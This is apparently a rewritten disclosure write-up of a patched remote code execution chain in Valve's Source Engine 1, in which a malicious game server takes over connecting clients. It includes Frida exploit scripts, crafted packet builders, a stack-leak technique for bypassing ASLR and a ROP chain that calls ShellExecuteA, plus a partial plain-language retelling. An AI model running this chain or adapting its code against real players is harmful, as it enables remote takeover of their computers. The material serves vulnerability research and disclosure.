Exploiting the Source Engine (Part 2) - Full-Chain Client RCE in Source using Frida
A server-to-client remote code execution chain in the Source engine combined an array index under/overflow in the entity networking code with a stack-based information leak in the ZIP parser for map files. An attacker running a malicious game server could achieve arbitrary code execution on connecting clients across all Source 1 titles.
Hey guys, it’s been awhile. I have cool new information to share now that my bug bounty has finally gone through.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This is a full server-to-client remote code execution chain against the Source Engine 1. The researcher's report describes a chain that links two separate bugs, one memory corruption and one information leak, and states that it was exploitable in all Source Engine 1 titles including TF2, CS:GO and L4D:2, with no game specific functionality required. The chain was reported to Valve through HackerOne and a bounty of $7500 was paid.
The feature at the centre of the memory corruption is the server-to-client delta networking system. The server calculates what values have changed about an entity between two points in time and sends that information to the client as a "delta". The client-side function CL_CopyExistingEntity copies the changed variables of an existing game object from the received packet into the values stored on the client. The researcher describes this as a very core part of Source networking, present across all Source games, and notes the code and vulnerability are ancient and had existed for 15+ years untouched.
The feature at the centre of the information leak is file transfer combined with the map pakfile. Map files (BSP) can contain an embedded ZIP file which packages additional textures and files. When a map has a pakfile, the engine adds the ZIP file as a virtual overlay on the regular filesystem, so any file access checks the map's pakfile first. If the server requests a file that is inside the map's pakfile, the client uploads that file from the embedded ZIP to the server.
Setup
The researcher used Frida as the scripting and instrumentation framework, injecting into hl2.exe on the client and srcds.exe on the server. The Frida "client" (typically Python) selects a process and injects a "server" (a Gadget) that talks back and forth with the client; the server, executing inside the game, creates a Javascript environment with bindings to read and write memory and hook code. A Typescript library was written to interface with the engine, including vtable wrapper helpers that convert native pointer values into Typescript objects so virtual functions can be called:
// Create a pointer to the IVEngineClient interface by calling CreateInterface exported by engine.dll
let client = IVEngineClient.CreateInterface()
log(`IVEngineClient: ${client.pointer}`)
// Call the vtable function to get the local client's net channel instance
let netchan = client.GetNetChannelInfo() as CNetChan
if (netchan.pointer.isNull()) {
log(`Couldn't get NetChan.`)
return;
}
The same tooling could be injected into both client and server at once without modification, so a single PoC could instrument both sides: the server generated and sent packets, the client was hooked to see how it accepted the input.
A Frida extension module used the ret-sync project to talk to a loaded copy of IDA at runtime, so functions named in the IDA database could be resolved to addresses in the running process. This kept exploit scripts stable between game binary updates. Example of hooking a function by IDA symbol:
// Hook when new clients are connecting and wait for them to spawn in to begin exploiting them.
// This function is called every time a client transitions from one state to the next
// while loading into the server.
let signonstate_fn = se.util.require_symbol("CGameClient::ProcessSignonStateMsg")
Interceptor.attach(signonstate_fn, {
onEnter(args) {
console.log("Signon state: " + args[0].toInt32())
// Check to make sure they're fully spawned in
let stateNumber = args[0].toInt32()
if (stateNumber != SIGNONSTATE_FULL) { return; }
// Give their client a bit of time to load in, if it's slow.
Thread.sleep(1)
// Get the CGameClient instance, then get their netchannel
let thisptr = (this.context as Ia32CpuContext).ecx;
let asNetChan = new CGameClient(thisptr.add(0x4)).GetNetChannel() as CNetChan;
if (asNetChan.pointer.isNull()) {
console.log("[!] Could not get CNetChan for player!")
return;
}
[...]
}
})
Symbols can be ported between engine updates with BinDiff, so offsets can be carried over automatically.
The researcher set constraints for the exercise: the exploit must be memory corruption and not a trivial stack-based buffer overflow; it must produce its own pointer leak or chain another bug for the infoleak; it must work in all Source 1 games (TF2, CS:GO, L4D:2) without special client configuration; it must have a ~100% stability rate; and it must be written in Frida and be "one-click" automatically exploited on any client connected to the server.
Finding it
Source uses a custom heap allocator that implicitly zeroes all heap allocations before returning them, so uninitialised heap memory is not a valid infoleak target. The suggested path for games without xinput.dll is to find corruption that can itself be leveraged to leak information. Good candidates listed are arbitrary relative pointer writes to pointers in global queryable objects, heap overflows against a queryable object, and use-after-free with a queryable object. A queryable object must be queryable over the network; the best type in Source is the ConVar, whose value the server can query and which returns either the integer value or an arbitrary-length string.
The memory corruption was found within a few days of auditing the networking code. The information leak took around two months of auditing, roughly ten times as long.
Exploitation
Step 1: the array index over/under-flow in CL_CopyExistingEntity
The vulnerable function is called within the packet handler for the server-to-client packet SVC_PacketEntities:
void CL_CopyExistingEntity( CEntityReadInfo &u )
{
int start_bit = u.m_pBuf->GetNumBitsRead();
IClientNetworkable *pEnt = entitylist->GetClientNetworkable( u.m_nNewEntity );
if ( !pEnt )
{
Host_Error( "CL_CopyExistingEntity: missing client entity %d.\n", u.m_nNewEntity );
return;
}
Assert( u.m_pFrom->transmit_entity.Get(u.m_nNewEntity) );
// Read raw data from the network stream
pEnt->PreDataUpdate( DATA_UPDATE_DATATABLE_CHANGED );
u.m_nNewEntity is controlled arbitrarily by the network packet, so the first argument to GetClientNetworkable can be an arbitrary 32-bit value. The lookup function is:
IClientNetworkable* CClientEntityList::GetClientNetworkable( int entnum )
{
Assert( entnum >= 0 );
Assert( entnum < MAX_EDICTS );
return m_EntityCacheInfo[entnum].m_pNetworkable;
}
The Assert statements would check that the value is sane, but in release builds all Assert statements are not compiled in, for performance reasons. So entnum is not constrained. m_EntityCacheInfo lives inside the globally defined structure entitylist inside client.dll, at a static global offset, so the correct entnum for a target pointer can be calculated from the offset of m_EntityCacheInfo in any given version of client.dll. Each entry looks like:
// Cached info for networked entities.
// NOTE: Changing this changes the interface between engine & client
struct EntityCacheInfo_t
{
// Cached off because GetClientNetworkable is called a *lot*
IClientNetworkable *m_pNetworkable;
unsigned short m_BaseEntitiesIndex; // Index into m_BaseEntities (or m_BaseEntities.InvalidIndex() if none).
unsigned short m_bDormant; // cached dormant state - this is only a bit
};
Because sizeof(m_EntityCacheInfo) == 8, the returned IClientNetworkable* can be any value aligned to an 8 byte boundary. The returned pointer is then used immediately for a virtual call:
pEnt->PreDataUpdate( DATA_UPDATE_DATATABLE_CHANGED );
The generated code offsets into pEnt's vtable and calls a function. In IDA this is call dword ptr [eax+24], so the vtable index is 24 / 4 = 6.

Step 2: placing a fake object in a replicated ConVar
The server can set any arbitrary value to a ConVar on a client, and most ConVar objects exist in globals inside client.dll. The definition is:
class ConVar : public ConCommandBase, public IConVar
with the general structure:
ConCommandBase *m_pNext; [0x00]
bool m_bRegistered; [0x04]
const cha *m_pszName; [0x08]
const char *m_pszHelpString; [0x0C]
int m_nFlags; [0x10]
ConVar *m_pParent; [0x14]
const char *m_pszDefaultValue; [0x18]
char *m_pszString; [0x1C]
The target is m_pszString, so the crafted pointer lands directly on it. The bug will treat &m_pszString as the location of the object's pointer, and m_pszString will contain its vtable pointer. The engine will then call a function pointer at *((*m_pszString)+0x1C). As long as the ConVar is marked FCVAR_REPLICATED, the server can set its value arbitrarily, giving full control over the contents of m_pszString.
m_pszString is at offset 0x1C, but the vulnerability requires the returned pointer to be 8 byte aligned, so a globally defined, replicated ConVar is needed whose m_pszString aligns correctly. In x64dbg, GetClientNetworkable shows the returned pointer is controlled as:
ecx+eax*8+28 where ecx is entitylist, eax is controlled by us

The candidate found was the replicated ConVar sv_mumble_positionalaudio in client.dll, at 0x10C6B788 in that build:
Adding 0x1C gives 0x10C6B788 + 0x1C = 0x10C6b7A4. In this build entitylist is at an aligned offset of 4 (0xC580B4), so the alignment check is:
>>> 0x10c6b7a4 % 0x8
4
That looks wrong, but entitylist is aligned to a 0x04 boundary, adding an extra 0x04 and making the value align to 0x08. The m_pszString value of sv_mumble_positionalaudio can therefore be used to fake the object's vtable pointer, with the string contents controlled through ConVar replication.
Step 3: pointing the vtable at a controlled global
The code path is: call GetClientNetworkable to get pEnt, faked to point to &m_pszString; dereference the first value inside m_pszString to get the vtable pointer; offset the vtable to index 6 and call the first function there. The vtable pointer must point somewhere the server controls so that an address can be written there. The chosen location is the tick count written by the NET_Tick packet:
bool NET_Tick::ReadFromBuffer( bf_read &buffer )
{
VPROF( "NET_Tick::ReadFromBuffer" );
m_nTick = buffer.ReadLong();
#if PROTOCOL_VERSION > 10
m_flHostFrameTime = (float)buffer.ReadUBitLong( 16 ) / NET_TICK_SCALEUP;
m_flHostFrameTimeStdDeviation = (float)buffer.ReadUBitLong( 16 ) / NET_TICK_SCALEUP;
#endif
return !buffer.IsOverflowed();
}
m_nTick is controlled directly by the packet contents and can be an arbitrary 32-bit value, and it is stored at a global. Frida confirmed it is completely controllable by the NET_Tick packet from the server:

The packet is sent with:
function SetClientTick(bf: bf_write, value: NativePointer) {
bf.WriteUBitLong(net_Tick, NETMSG_BITS)
// Tick count (Stored in m_ClientGlobalVariables->tickcount)
bf.WriteLong(value.toInt32())
// Write m_flHostFrameTime -> 1
bf.WriteUBitLong(1, 16);
// Write m_flHostFrameTimeStdDeviation -> 1
bf.WriteUBitLong(1, 16);
}
Pointing the vtable pointer at &tickcount - 24 makes the engine treat tickcount as the function to call at vtable index 6. The SVC_PacketEntities packet that triggers the bug is built as:
// craft the netmessage for the PacketEntities exploit
function SendExploit_PacketEntities(bf: bf_write, offset: number) {
bf.WriteUBitLong(svc_PacketEntities, NETMSG_BITS)
// Max entries
bf.WriteUBitLong(0, 11)
// Is Delta?
bf.WriteBit(0)
// Baseline?
bf.WriteBit(0)
// # of updated entries?
bf.WriteUBitLong(1, 11)
// Length of update packet?
bf.WriteUBitLong(55, 20)
// Update baseline?
bf.WriteBit(0)
// Data_in after here
bf.WriteUBitLong(3, 2) // our data_in is of type 32-bit integer
// >>>>>>>>>>>>>>>>>>>> The out of bounds type confusion is here <<<<<<<<<<<<<<<<<<<<
bf.WriteUBitLong(offset, 32)
// enterpvs flag
bf.WriteBit(0)
// zero for the rest of the packet
bf.WriteUBitLong(0, 32)
bf.WriteUBitLong(0, 32)
bf.WriteUBitLong(0, 32)
bf.WriteUBitLong(0, 32)
bf.WriteUBitLong(0, 32)
bf.WriteUBitLong(0, 32)
bf.WriteUBitLong(0, 32)
bf.WriteUBitLong(0, 32)
}
The resulting chain: GetClientNetworkable returns pEnt faked to point to &m_pszString; the first value inside m_pszString is the vtable pointer, pointed at &tickcount - 6*4; the code offsets to index 6, dereferences and calls the value placed in tickcount. In the exploit script:
// The fake object pointer and the ROP chain are stored in this cvar
ReplicateCVar(pkts_to_send, "sv_mumble_positionalaudio", tickCountAddress)
// Set a known location inside of engine.dll so we can use it to point our vtable value to
SetClientTick(pkts_to_send, new NativePointer(0x41414141))
// Then use exploit in PacketEntities to fake the object pointer to point to sv_mumble_positionalaudio's string value
SendExploit_PacketEntities(pkts_to_send, 0x26DA)
0x26DA is the entnum value calculated to cause the out-of-bounds and align to sv_mumble_positionalaudio->m_pszString. The result is a one-shot arbitrary execute:

0x41414141 is popped off the stack at the ret. Further down the stack the entire packet sits unchanged, giving room for a ROP chain. A stack pivot was found with Ropper, but the addresses of gadgets, including the pivot, are randomised by ASLR, so an infoleak is needed.
Step 4: leaking uninitialised stack memory through the pakfile
The file size check before upload is:
int totalBytes = g_pFileSystem->Size( filename, pPathID );
if ( totalBytes >= (net_maxfilesize.GetInt()*1024*1024) )
{
ConMsg( "CreateFragmentsFromFile: '%s' size exceeds net_maxfilesize limit (%i MB).\n", filename, net_maxfilesize.GetInt() );
return false;
}
When the file is inside the pakfile, g_pFileSystem->Size reads the ZIP structure, locates the file and reads the size directly from the ZIP header:

lookup.m_nLength = zipFileHeader.uncompressedSize. The map file contents are fully controlled by the server, so the embedded pakfile contents are too, and therefore the full 32-bit value returned by g_pFileSystem->Size. totalBytes is a signed integer and the comparison is signed, so a negative value passes the length check.
The upload reads the file in CNetChan::SendSubChannelData:
g_pFileSystem->Seek( data->file, offset, FILESYSTEM_SEEK_HEAD );
g_pFileSystem->Read( tmpbuf, length, data->file );
buf.WriteBytes( tmpbuf, length );
A stack buffer of size 0x100 is used to read the file in 0x100 sized chunks. The subchannel interprets the size as unsigned and believes the file is very large, so it keeps allocating 0x100 of stack space and calling ->Read(). When the file pointer reaches the end of the pakfile, ->Read() stops writing data to the stack, but its return value is ignored and the data is sent anyway. Because the stack contents are not cleared between iterations, 0x100 bytes of uninitialised stack data are sent to the server constantly, and the subchannel continues sending fragments indefinitely because the file size is too large to ever be sent successfully.
A Python script was written to take an existing BSP and hack a negatively sized file into the pakfile:

With Frida set up and a packet crafted to request the hacked file from the pakfile, net_showfragments 1 in the game console shows the fragments being sent:

num = 1 means file fragment. Left running, the client keeps re-leaking stack memory for as long as it is connected, slowly over time, so the client's game is unaffected. A Frida Interceptor hook on the function that reads the file's size shows it returning a negative number:

Hooking the server-side function that processes incoming file fragment packets produced this blob:
0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
00000000 50 4b 05 06 00 00 00 00 06 00 06 00 f0 01 00 00 PK..............
00000010 86 62 00 00 20 00 58 5a 50 31 20 30 00 00 00 00 .b.. .XZP1 0....
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030 00 00 00 00 00 00 fa 58 13 00 00 58 13 00 00 26 .......X...X...&
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 19 3b 00 ..............;.
00000050 00 6d 61 74 65 72 69 61 f0 5e 65 62 30 2e b9 05 .materia.^eb0...
00000060 60 55 65 62 9c 76 71 00 ce 92 61 62 f0 5e 65 62 `Ueb.vq...ab.^eb
00000070 08 0b b9 05 b8 00 7c 6d 30 2e b9 05 b9 00 7c 6d ......|m0.....|m
00000080 f0 5e 65 62 f0 5e 65 62 f0 89 61 62 f0 5e 65 62 .^eb.^eb..ab.^eb
00000090 44 00 00 00 60 55 65 62 60 55 65 62 00 00 00 00 D...`Ueb`Ueb....
000000a0 00 b5 4e 00 00 6d 61 74 65 72 69 61 6c 73 2f 6d ..N..materials/m
000000b0 61 70 73 2f 63 70 5f 63 ec 76 71 00 00 02 00 00 aps/cp_c.vq.....
000000c0 0a a4 bc 7b 30 2e b9 05 f0 70 88 68 40 00 00 00 ...{0....p.h@...
000000d0 00 a5 db 09 01 00 00 00 c4 dc 75 00 16 00 00 00 ..........u.....
000000e0 00 00 00 00 98 77 71 00 00 00 00 00 00 00 00 00 .....wq.........
000000f0 30 77 71 00 cb 27 b3 7b 00 03 00 00 97 27 b3 7b 0wq..'.{.....'.{
The data is uninitialised, with pointer values beginning 0x7B or 0x7C in it:
97 27 b3 7b0a a4 bc 7b05 b9 00 7c05 b8 00 7c
The offsets of these values in the 0x100 byte buffer are not always the same, so heuristics are needed. Mapping DWORD values over time shows which quickly look like pointers. After tinkering, the leak was controlled to leak a known pointer value with ~100% certainty. Final output against a typical user:
[*] Intercepting ReadBytes (frag = 0)
0x0: 0x14b5041
0x4: 0x14001402
0x8: 0x0
0xc: 0x0
0x10: 0xd99e8b00
0x14: 0xffff00d3
0x18: 0xffff00ff
0x1c: 0x8ff
0x20: 0x0
0x24: 0x0
0x28: 0x18000
0x2c: 0x74000000
0x30: 0x2e747365
0x34: 0x50747874
0x38: 0x6054b
0x3c: 0x1000000
0x40: 0x36000100
0x44: 0x27000000
[...]
0xcc: 0xafdd68
0xd0: 0xa097d0c
0xd4: 0xa097d00
0xd8: 0xab780c
0xdc: 0x4
0xe0: 0xab7778
0xe4: 0x7ac9ab8d
0xe8: 0x0
0xec: 0x80
0xf0: 0xab7804
0xf4: 0xafdd68
0xf8: 0xab77d4
0xfc: 0x0
[*] leakedPointer: 0x7ac9ab8d
[*] Engine_Leak2 offset: 0x23ab8d
[*] leakedBase: 0x7aa60000
Only one value had a lower WORD offset that made sense (0xE4), so it was easily selectable. Traced back in IDA, it is a return location for the upper stack frame of this function. Labelled Engine_Leak2, it is loaded from the ret-sync connection to calculate the base of engine.dll:
// calculate the engine base based on the RE'd address we know from the leak
static convertLeakToEngineBase(leakedPointer: NativePointer) {
console.log("[*] leakedPointer: " + leakedPointer)
// get the known offset of the leaked pointer in our engine.dll
let knownOffset = se.util.require_offset("Engine_Leak2");
console.log("[*] Engine_Leak2 offset: " + knownOffset)
// use the offset to find the base of the client's engine.dll
let leakedBase = leakedPointer.sub(knownOffset);
console.log("[*] leakedBase: " + leakedBase)
if ((leakedBase.toInt32() & 0xFFFF) !== 0) {
console.log("[!] Failed leak...")
return null;
}
console.log("[*] Got it!")
return leakedBase;
}
Step 5: the full chain
With a pointer leak and an arbitrary execute, a ROP chain can be built. Frida being a Python module at its core means pyinstaller can turn the script into an all-in-one executable: copy the .exe onto a server, run the Source dedicated server, and launch the .exe to arm the server for exploitation. The steps:
- Player joins the exploitation server. This is picked up by the PoC script and it begins to exploit the client.
- Player downloads the map file from the server. The map file is specially prepared to install
test.txtinto theGAMEfilesystem path with the compromised length - The server executes
RequestFileto request thetest.txtfile from the pakfile. The client builds fragments for the new file and begins sending0x100sized fragments to the server, leaking stack contents. Inside the stack contents is a leaked stack frame return address from a previous call tobf_read::ReadBytes. By doing some calculations on the server, this achieves a full ASLR protection bypass on the client. - The malicious server calculates the base of
engine.dllon the client instance using the leaked pointer. This allows the server to now build a pointer value in the exploit payload to anywhere withinengine.dll. Without this infoleak bug, the payload could not be built because the attacker does not know the location of any module due to ASLR. - The server script builds a fake vtable pointer on the target client instance by replicating a ConVar onto the client. This is used to build a fake vtable on the client with a pointer to the fake vtable in a known location (the global ConVar). The PoC replicates the fake vtable onto
sv_mumble_positionalaudiowhich is a replicated ConVar inside ofclient.dll. The location of the contents of this replicated ConVar can be calculated fromsv_mumble_positionalaudio->m_pszStringand is used for later exploitation steps. - The server builds a ROP chain payload to execute the Windows API call for
ShellExecuteA. This ROP chain is used to bypass the NX protection on modern Windows systems. The chain utilizes the known addresses inengine.dllthat were leaked from the exploitation of the separate bug in Step 3. Upon successful exploitation, this ROP chain can execute arbitrary code. - The script again replicates the ConVar
sv_downloadurlonto the client instance with the value ofC:/Windows/System32/winver.exe. This is used by the ROP chain as the target program to execute withShellExecuteA. This ConVar exists inside ofengine.dllso the pointersv_download_url->m_pszStringis now at an attacker known location. - The server sends a crafted
NET_Tickmessage to modify the value ofg_ClientGlobalVariables->tickcountto be a pointer to a stack pivot gadget found inside ofengine.dll(again, leaked from Step 3). Essentially, this is another trick to get a pointer value to exist at an attacker controlled location withinengine.dll. - Now, the next bug will be used by creating a specially crafted
SVC_PacketEntitiesnetmessage which will callCL_CopyExistingEntityon the client instance with the vulnerable value form_nNewEntity. This value will exploit the array overrun inGetClientNetworkableinside ofclient.dlland allows us to confuse the pointer return value to instead be a pointer tosv_mumble_positionalaudio->m_pszString(also insideclient.dll). At the location ofsv_mumble_positionalaudio->m_pszStringis the fake object pointer created in Step 4. This object pointer will redirect execution by pretending to be anIClientNetworkable*object and redirect the virtual method call to the value found withing_ClientGlobalVariables->tickcount. This means we can set the instruction pointer to any value specified by theNET_Ticktrick we used in Step 7. - Lastly, to execute the ROP chain and achieve RCE, the
g_ClientGlobalVariables->tickcountis pointed to a stack pivot gadget inside ofengine.dll. This pivots the stack to the ROP payload that was placed insv_mumble_positionalaudio->m_pszStringin Step 4. The ROP chain then begins execution. The chain will load necessary arguments to callShellExecuteA, then execute whatever program path we replicated ontosv_downloadurlgiven in Step 6. In this case, it is used to executewinver.exefor proof of concept. This chain can execute any code of the attacker's choosing, and has full permissions to access all of the users files and data.
The whole exploitation happens automatically, using Frida injected into the dedicated server process to instrument all of the steps. A video of the full PoC:
Root cause
The memory corruption is an array index over/under-flow: u.m_nNewEntity from the network packet is used unchecked as an index into m_EntityCacheInfo, because the bounds Assert statements are compiled out of release builds. The returned pointer is then used for a virtual call, so an attacker who can place a controlled value at a known global can redirect the call. The design weakness that makes the fake object possible is that the server can set replicated ConVar values on the client, and ConVar objects live at known global offsets in client.dll.
The information leak is a signedness mismatch: the file size is read from the ZIP header as a 32-bit value, checked with a signed comparison against net_maxfilesize, then interpreted as unsigned by the subchannel. A negative size passes the check and makes the subchannel read past the end of the file, and because the return value of ->Read() is ignored and the stack buffer is not cleared, uninitialised stack memory is sent to the server.
ASLR is not defeated by the corruption alone; the leak is what provides module addresses. The researcher notes that in CS:GO the classic route is xinput.dll, which asks to be loaded in a way that means the system does not randomise its base address, so a static ROP chain works on every client. TF2 has no xinput.dll, which makes it significantly harder to exploit and requires a pointer leak. The constraints here ruled out relying on xinput.dll.
Impact
A malicious server can achieve remote code execution on any client that connects to it, in all Source Engine 1 titles including TF2, CS:GO and L4D:2, with no game specific functionality required and no special client configuration. The chain is designed to run automatically on any client connected to the server, with a ~100% stability rate as one of the researcher's constraints. The ROP chain executes ShellExecuteA with a path the server controls through sv_downloadurl; in the PoC it runs winver.exe. The researcher states the chain can execute any code of the attacker's choosing and has full permissions to access all of the users files and data. The client's game is unaffected while the leak runs; the report notes the fragments are sent slowly over time.
Fix
Valve fixed the bugs. The disclosure timeline records: reported to Valve through HackerOne on 2020-05-13; triaged 2020-05-18; notification that the bugs were fixed in Beta on 2021-04-28; bounty paid ($7500) and notification that the bugs were fixed in Retail on 2021-04-30. The report does not describe the specific code changes.
Variants to test
- Other packet fields used unchecked as array indices into global tables, where the bounds checks are
Assertstatements compiled out of release builds. A positive result is a controlled pointer returned from a lookup and used for a virtual call. - Other replicated
ConVarobjects whosem_pszStringlands on an 8 byte boundary relative toentitylist, usable as fake objects. A positive result is aConVarwhose string contents can be set by the server and whose address aligns correctly. - Other packet types that write an attacker-controlled 32-bit value to a known global, like
NET_Tickwritingm_nTick. A positive result is a global whose value can be set to an arbitrary address and later dereferenced as a function pointer. - Other signed length checks on values read from attacker-controlled file formats (ZIP headers, pakfiles, embedded archives) where the value is later treated as unsigned. A positive result is a negative size that passes the check and causes reads past the end of the file.
- Other read loops that ignore the return value of the read call and reuse an uncleared stack buffer. A positive result is repeated fragments containing uninitialised stack data, including pointer values.
- Other games or builds without a non-ASLR module such as
xinput.dll, where a leak is required. A positive result is a leaked return address whose offset maps to a known function and whose base is page aligned.
What happened, in plain words
A security researcher found a way for a malicious game server to take over the computer of anyone who connects to it, in games built on Valve's Source Engine 1, including Team Fortress 2, Counter-Strike: Global Offensive and Left 4 Dead 2. The researcher reported it to Valve through HackerOne, Valve fixed it, and paid a bounty of $7500.
To understand the attack, you need three ideas.
First, when you play an online game, your computer (the client) and the game server constantly send each other small messages called packets. The server tells the client where players are, what changed in the world, and so on. The client trusts the server: it is the server's job to describe the game world, so the client does what the server says.
Second, programs store data in memory at numbered locations called addresses. Some of those locations hold pointers, which are just addresses of other locations, like a note that says "the thing you want is in drawer 42". If an attacker can control a pointer, they can make the program jump to a place of the attacker's choosing.
Third, modern systems use ASLR (Address Space Layout Randomisation): every time a program starts, its code and data are placed at different, unpredictable addresses. That stops an attacker from writing down "the useful function is at address X", because X changes on every run. To beat ASLR, an attacker needs a leak: some way to make the program reveal one real address, from which all the others can be calculated.
This report is about chaining two separate bugs. The first is a memory corruption bug: the server can send a number that the client uses, without checking it, to look up an object in a table. That lets the server make the client call a function at an address the server controls. The second is an information leak: the server can make the client send back pieces of its own memory, including a real address, which defeats ASLR. Together they give remote code execution (RCE): the server can run any program it likes on the player's machine.
The researcher also set himself extra rules to make the exercise harder: the exploit had to be real memory corruption rather than a simple buffer overflow, it had to produce its own leak, it had to work in every Source 1 game with no special client setup, it had to be about 100% reliable, and it had to run automatically the moment a player connected.
The two features involved
The memory corruption lives in the delta networking system. Games do not resend the whole world every tick; the server works out what changed about each object (an entity, such as a player or a door) since the last update and sends only the differences, called deltas. On the client, a function called CL_CopyExistingEntity takes those changes out of the received packet and writes them into the client's copy of the object. The researcher calls this a very core part of Source networking, present in all Source games, and notes the code and the bug are ancient: they had sat untouched for more than 15 years.
The information leak lives in file transfer combined with the map pakfile. A map file (format BSP) can contain an embedded ZIP archive, called a pakfile, holding extra textures and files. When a map has a pakfile, the engine treats that ZIP as a virtual layer on top of the normal filesystem: whenever the game opens a file, it first checks whether the map's pakfile contains it. The odd behaviour the researcher found is that if the server asks for a file that lives inside the map's pakfile, the client uploads that file from the embedded ZIP back to the server. In normal use that makes little sense, but it opens an attack surface nobody intended.
Setting up the tools
The researcher used Frida, a framework for injecting scripts into running programs. Frida has two halves: a client (usually a Python program) that picks a process and injects a server component, called a Gadget, into it; the Gadget then talks back and forth with the client. Inside the game, the Gadget provides a JavaScript environment with special abilities to read and write memory and to hook functions. The researcher injected into hl2.exe on the client and srcds.exe on the server.
He wrote a TypeScript library to make the engine easier to drive from Frida. Game engines use C++ polymorphism: objects expose their behaviour through virtual functions, which are looked up in a per-object table of function addresses called a vtable. To call those functions from Frida, he wrote wrapper helpers that turn a raw pointer value into a TypeScript object:
// Create a pointer to the IVEngineClient interface by calling CreateInterface exported by engine.dll
let client = IVEngineClient.CreateInterface()
log(`IVEngineClient: ${client.pointer}`)
// Call the vtable function to get the local client's net channel instance
let netchan = client.GetNetChannelInfo() as CNetChan
if (netchan.pointer.isNull()) {
log(`Couldn't get NetChan.`)
return;
}
Line by line:
IVEngineClient.CreateInterface()asks the engine'sengine.dllmodule for a handle to its main client interface, and stores it inclient.log(...)prints the address of that interface, so the researcher can see it while the game runs.client.GetNetChannelInfo()calls a virtual function on the interface to obtain the net channel, the object that handles this client's network connection, and stores it asnetchan.if (netchan.pointer.isNull())checks whether the call returned nothing (a null pointer). If so, the script logs a message and stops, rather than crashing later on a bad pointer.
The same tooling could be injected into both the client and the server at once without changes, so one proof-of-concept script could watch both sides: the server generated and sent packets, and the client was hooked to show how it accepted them.
He also wrote a Frida extension that used the ret-sync project to talk to a running copy of IDA, the disassembler used for reverse engineering. That let him give functions names in his IDA database and have Frida ask IDA for their addresses in the live process. The point was stability: game binaries are updated every few days, and named symbols can be carried across updates with BinDiff, so the exploit scripts keep working. Here is how a function is hooked by its IDA name:
// Hook when new clients are connecting and wait for them to spawn in to begin exploiting them.
// This function is called every time a client transitions from one state to the next
// while loading into the server.
let signonstate_fn = se.util.require_symbol("CGameClient::ProcessSignonStateMsg")
Interceptor.attach(signonstate_fn, {
onEnter(args) {
console.log("Signon state: " + args[0].toInt32())
// Check to make sure they're fully spawned in
let stateNumber = args[0].toInt32()
if (stateNumber != SIGNONSTATE_FULL) { return; }
// Give their client a bit of time to load in, if it's slow.
Thread.sleep(1)
// Get the CGameClient instance, then get their netchannel
let thisptr = (this.context as Ia32CpuContext).ecx;
let asNetChan = new CGameClient(thisptr.add(0x4)).GetNetChannel() as CNetChan;
if (asNetChan.pointer.isNull()) {
console.log("[!] Could not get CNetChan for player!")
return;
}
[...]
}
})
Line by line:
require_symbol("CGameClient::ProcessSignonStateMsg")asks the ret-sync extension for the live address of the function that handles a client's connection state changes, and stores it insignonstate_fn.Interceptor.attach(...)tells Frida to run the code inonEnterevery time that function is called, before the function's own body runs.console.log("Signon state: " + args[0].toInt32())prints the first argument, the new connection state, as a 32-bit integer.let stateNumber = args[0].toInt32()reads that same argument again into a variable.if (stateNumber != SIGNONSTATE_FULL) { return; }does nothing unless the client has fully finished loading into the server, because the exploit only makes sense once the player is in the game.Thread.sleep(1)waits a moment to give a slow client time to finish loading.let thisptr = (this.context as Ia32CpuContext).ecx;reads theecxregister, which on 32-bit Windows holds thethispointer, the address of the object the method was called on.new CGameClient(thisptr.add(0x4)).GetNetChannel()wraps that object (offset by 4 bytes to reach the right field) and asks it for the player's net channel.- The
ifchecks the result is not null and logs an error if it is, so the script does not continue with a bad pointer.
Finding the bugs
The networking code rarely copies buffers around: packets are small and seldom carry length values controlled by the other side, and the larger buffers are allocated on the heap (the general-purpose pool of memory for data that lives beyond a single function call). Source uses its own heap allocator, and it zeroes every heap allocation before handing it out, so leftover heap memory cannot be leaked: there is nothing left in it.
His advice for games without a non-randomised module to lean on is to look for corruption that can itself be turned into a leak. Good candidates he lists are:
- arbitrary relative pointer writes to pointers inside global objects that can be queried over the network;
- heap overflows against such a queryable object, giving controllable pointer writes;
- use-after-free (using an object after it has been freed) with a queryable object.
The word queryable matters: whatever you corrupt must be something you can ask the client about over the network. Very few game objects can be queried at will. The best one in Source is the ConVar, a configurable console variable. Both client and server can ask for the value of any ConVar, and the reply is either its integer value or an arbitrary-length string.
Timing: the memory corruption became obvious within a few days of reading the networking code. The leak took about two months of auditing, roughly ten times as long.
Step 1: the out-of-bounds table lookup in CL_CopyExistingEntity
The vulnerable function runs inside the handler for the server-to-client packet SVC_PacketEntities:
void CL_CopyExistingEntity( CEntityReadInfo &u )
{
int start_bit = u.m_pBuf->GetNumBitsRead();
IClientNetworkable *pEnt = entitylist->GetClientNetworkable( u.m_nNewEntity );
if ( !pEnt )
{
Host_Error( "CL_CopyExistingEntity: missing client entity %d.\n", u.m_nNewEntity );
return;
}
Assert( u.m_pFrom->transmit_entity.Get(u.m_nNewEntity) );
// Read raw data from the network stream
pEnt->PreDataUpdate( DATA_UPDATE_DATATABLE_CHANGED );
Line by line:
int start_bit = u.m_pBuf->GetNumBitsRead();records how far into the packet the reader has got, in bits, so the function can tell where it started.entitylist->GetClientNetworkable( u.m_nNewEntity )asks the global entity list for the object representing entity numberu.m_nNewEntity, and stores the result inpEnt. The crucial point:u.m_nNewEntitycomes straight out of the network packet, so the server chooses it, and it can be any 32-bit value.- The
if ( !pEnt )block handles the case where the lookup returns nothing, printing an error and returning. Assert(...)is a developer check that the entity is one the server is allowed to transmit. In release builds this check is not compiled in at all.pEnt->PreDataUpdate( DATA_UPDATE_DATATABLE_CHANGED );calls a method on the object that was looked up. This is the dangerous line: if the attacker can control whatpEntpoints to, the attacker controls what gets called.
The lookup function itself is:
IClientNetworkable* CClientEntityList::GetClientNetworkable( int entnum )
{
Assert( entnum >= 0 );
Assert( entnum < MAX_EDICTS );
return m_EntityCacheInfo[entnum].m_pNetworkable;
}
Line by line:
- The two
Assertlines are meant to check thatentnumis not negative and is below the maximum number of entities. They are the safety net. return m_EntityCacheInfo[entnum].m_pNetworkable;usesentnumas an index into an array of cached entity records and returns the pointer stored in the chosen record.
